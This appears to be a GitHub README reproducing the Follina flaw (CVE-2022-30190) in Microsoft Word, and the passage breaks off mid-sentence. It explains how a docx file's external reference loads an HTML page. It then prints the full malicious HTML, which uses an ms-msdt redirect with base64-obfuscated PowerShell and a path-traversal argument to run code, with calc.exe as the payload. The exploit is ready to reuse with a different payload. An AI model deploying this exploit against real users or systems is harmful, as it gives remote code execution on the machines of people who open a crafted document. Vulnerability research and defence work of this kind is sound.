doocop/cve-2022-30190Reproduction of CVE-2022-30190 (Follina) remote code execution vulnerability in Microsoft Office Word via malicious docx/rtf files with ms-msdt protocol handler.
Microsoft Office Word RCE Reproduction (CVE-2022-30190)
MS Office docx files may contain external OLE object references as HTML files. There is an HTML scenario ms-msdt: that calls the msdt diagnostic tool, which is capable of executing arbitrary code (specified in parameters).
The result is a frightening attack vector that achieves RCE by opening a malicious docx file (without using macros).
Obtained the sample first shared by @nao_sec on Twitter; downloaded it.
Open 02-2022-0438.doc with an archive tool.
Open the /word/_rels/document.xml.rels file as shown below.
ok, in the underlined part of the above image, we see it contains an external reference to hxxps://www.xmlformats.com/office/word/2022/wordprocessingDrawing/RDF842l.html
The original malicious HTML URL is no longer accessible, so fork a copy of the malicious HTML file provided by @nao_sec as follows:
<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//重复....
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNhbGMuZXhlIjtTdGFydC1Qcm9jZXNzICRjbWQ7'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
</script>
</body>
</html>
As for why so much garbage data is needed at the beginning, it is to make the entire HTML file reach 4096 bytes. For detailed analysis, see https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug
Since the above PoC executes PowerShell, we replace it with calculator, the code is as follows: